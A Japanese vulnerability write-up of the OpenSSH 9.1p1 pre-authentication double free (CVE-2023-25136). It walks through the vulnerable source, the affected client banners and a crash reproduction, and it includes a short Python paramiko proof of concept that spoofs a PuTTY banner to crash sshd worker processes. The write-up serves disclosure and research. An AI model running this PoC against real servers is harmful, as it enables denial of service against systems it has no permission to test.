
OpenSSH 事前認証ダブルフリー CVE-2023-25136 – 解説と概念実証
OpenSSHは、安全な通信とリモートアクセスに使用される人気のあるツールです。Secure Shell (SSH) 通信プロトコルのフリーかつオープンソースの実装として開発され、さまざまな用途で広く使用されています。
OpenSSHは、安全ではないネットワーク上で、相互に信頼できない2つのホスト間に安全で暗号化された接続を提供し、リモートアクセスと安全なファイル転送に不可欠なツールとなっています。
クラウドコンピューティングとサーバーへのリモートアクセスの利用が増えるにつれ、OpenSSHはリモートシステムへ安全にアクセスして管理する必要があるシステム管理者や開発者にとって重要なツールとなっています。
OpenSSHはまた、Linux、macOS、Windowsを含む幅広いプラットフォームをサポートしており、異なるオペレーティングシステム間で広く採用されているツールです。使いやすさと強力なセキュリティ機能により、OpenSSHは安全なリモートアクセスのための業界標準ツールとなっています。
2023年2月2日、OpenSSHはこのセキュリティアドバイザリを含むバージョン9.2p1をリリースしました。事前認証ダブルフリー脆弱性のため、このバージョンが注目に値することがすぐに明らかになりました。OpenSSHのGitHubリポジトリを検索すると、これが修正コミットです。
コミットメッセージはbz3522を示しており、これはユーザーのMantas Mikulėnasによって報告されたBugzillaのissueを指しています。
このレポートの中でMantasは、古いPuTTY 0.64を使用したことに言及し、ダブルフリーによるアボートのバックトレースも添付しています。
さらに詳しく調査するため、脆弱なOpenSSH 9.1p1を使用した環境を構築し、2015年2月28日にリリースされた8年前の古いPuTTY 0.64バージョンのコピーを取得しました。
脆弱なOpenSSHサーバーにPuTTY 0.64で接続しようとしたところ、次のエラーが返されました:

新しいOpenSSHバージョンでは古いクライアントの鍵交換アルゴリズムがサポートされていないため、 という行をsshd_configファイルに追加して編集しました。
/etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1SSHサーバーを再起動して再度試行したところ、次のエラーが返されました:

sshd_configに別の設定行を追加した後、脆弱なOpenSSHサーバーに接続してクラッシュを再現することができました:
HostKeyAlgorithms +ssh-rsa
サーバーをデバッグモード(-dddフラグを使用)で実行したところ、次のデバッグメッセージが返されました:
ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]
システムコール番号20はwritev()であり、これはBugzillaレポートと一致します。
ここで行った設定変更は、PuTTYを介して脆弱性を再現するためのものに過ぎず、悪用には必要ないことに注意してください。後述のPoCで見るように、デフォルト設定も脆弱です。
まず、compat_kex_proposal()がダブルフリーの原因であると述べている修正コミットを調査しました。[1]で接続互換性オプションSSH_OLD_DHGEXがtrueの場合、[2]で2番目の引数pがcpに代入され、[3]で後から解放されます。
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
char *cp = NULL;
if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("original KEX proposal: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"[email protected]")) == NULL)
fatal("match_filter_denylist failed");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist failed");
free(cp); [3]
}
debug2_f("compat KEX proposal: %s", p);
if (*p == '\0')
fatal("No supported key exchange algorithms found");
return p;
}
compat_kex_proposal()の呼び出しはdo_ssh2_kex()関数内にあります:
myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
options.kex_algorithms);
compat_kex_proposal()から解放されたcp=pは、options.kex_algorithms引数を指しています。
ソースコード内でkex_algorithmsを検索すると、Bugzillaレポートのクラッシュに現れたassemble_algorithmsが見つかりました:
ASSEMBLE(kex_algorithms, def_kex, all_kex);
ASSEMBLEはkex_assemble_names()関数を呼び出すためのマクロです:
#define ASSEMBLE(what, defaults, all) \
do { \
if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
fatal_fr(r, "%s", #what); \
} while (0)
kex_assemble_names()関数は、o->kex_algorithmsのアドレスを最初の引数(listp)として呼び出されます。ここで2回目のfreeが発生します。
int
kex_assemble_names(char **listp, const char *def, const char *all)
options.kex_algorithmsハンドルが解放されてダングリングポインタになっているため、再び解放されてダブルフリーが発生します。
しかし、SSH_OLD_DHGEXオプションはどこで設定されるのでしょうか?
SSHプロトコルバナーからバグフラグを判定するcompat_banner()関数内です。check[]という名前の構造体には、すべてのSSHクライアントIDとそのフラグが列挙されています。次のスニペットは、SSH_OLD_DHGEXオプションが割り当てられたクライアントIDを示しています。WinSCPもこの動作を引き起こす可能性があることがわかります。
{ "PuTTY_Local:*," /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
"PuTTY_Release_0.5*," /* 0.58-0.59 */
"PuTTY_Release_0.60*,"
"PuTTY_Release_0.61*,"
"PuTTY_Release_0.62*,"
"PuTTY_Release_0.63*,"
"PuTTY_Release_0.64*",
SSH_OLD_DHGEX },
{ "FuTTY*", SSH_OLD_DHGEX }, /* Putty Fork */
{ "WinSCP_release_4*,"
"WinSCP_release_5.0*,"
"WinSCP_release_5.1,"
"WinSCP_release_5.1.*,"
"WinSCP_release_5.5,"
"WinSCP_release_5.5.*,"
"WinSCP_release_5.6,"
"WinSCP_release_5.6.*,"
"WinSCP_release_5.7,"
"WinSCP_release_5.7.1,"
"WinSCP_release_5.7.2,"
"WinSCP_release_5.7.3,"
"WinSCP_release_5.7.4",
SSH_OLD_DHGEX },
柔軟性と移植性の高さから、Pythonによるサービス拒否(Denial of Service)の概念実証(PoC)を作成することにしました。この概念実証はparamikoパッケージを使用してダブルフリーを引き起こし、アボートによるクラッシュを発生させます。
paramikoは、サーバーとクライアントの両方の機能を提供する、広く普及しているPythonのSSH実装です。PoCでは、接続するクライアントのバージョンバナーをPuTTY v0.64のような古いクライアントに偽装するよう変更しました。
私たちのGitHubリポジトリで入手できます。
import paramiko
VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"
def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='', password='')
if __name__ == "__main__":
main()
このエクスプロイトは、解放されたoptions.kex_algorithmsの代わりにEVP_AES_KEYという別の構造体を割り当てます。ダブルフリーが発生すると、これは後で再び解放されます。その後、authctxt->userまたはauthctxt->styleを使用して別のチャンクでその内容を上書きします。
その後EVP_Cipher()がこのEVP_AES_KEYを使用しようとすると、攻撃者が制御するデータで上書きしたこのチャンクを使用することになります。
OpenSSHデーモンはクライアントからの接続を待ち受けます。受信した接続ごとに新しいデーモンをフォークします。フォークされたデーモンは、鍵交換、暗号化、認証、コマンド実行、データ交換を処理します。
この脆弱性はダブルフリーであり、理論上はサービス拒否(DoS)に悪用される可能性があります(私たちの概念実証で実証済み)。また、リモートコード実行(RCE)にも悪用される可能性がありますが、サンドボックスや特権分離メカニズムなどのセキュリティ対策が講じられているため、実際に動作するエクスプロイトの開発は困難であると考えられています。サービス拒否に関しては、writev()の呼び出し中のサンドボックス違反により、フォークされたデーモンのみがクラッシュすることに注意してください。したがって、メインのサーバーデーモンは新しいクライアントを処理し続けることができます。
この脆弱性は、以下の理由により深刻度「High(高)」と評価されました:
前提条件は不要です。デフォルト設定が脆弱です。
最近の公開記事によると、メモリ悪用の緩和策(ASLRやNXなど)が適用されていない場合、RCEが可能です。
サービス拒否攻撃に関しては、フォークされたワーカープロセスをクラッシュさせることは、重要なデーモンをクラッシュさせるDoSよりもはるかに深刻度は低いですが、どちらもCVSSの可用性(Availability)影響度は「High」と評価されます。
OpenSSHにはサンドボックスや特権分離メカニズムなどのセキュリティ対策が講じられていることに注意してください。ただし、これらによってRCE攻撃の可能性の深刻度が軽減されるべきではありません。
この脆弱性は、デフォルト設定のOpenSSHバージョン9.1p1にのみ影響します。つまり、前提条件は不要です。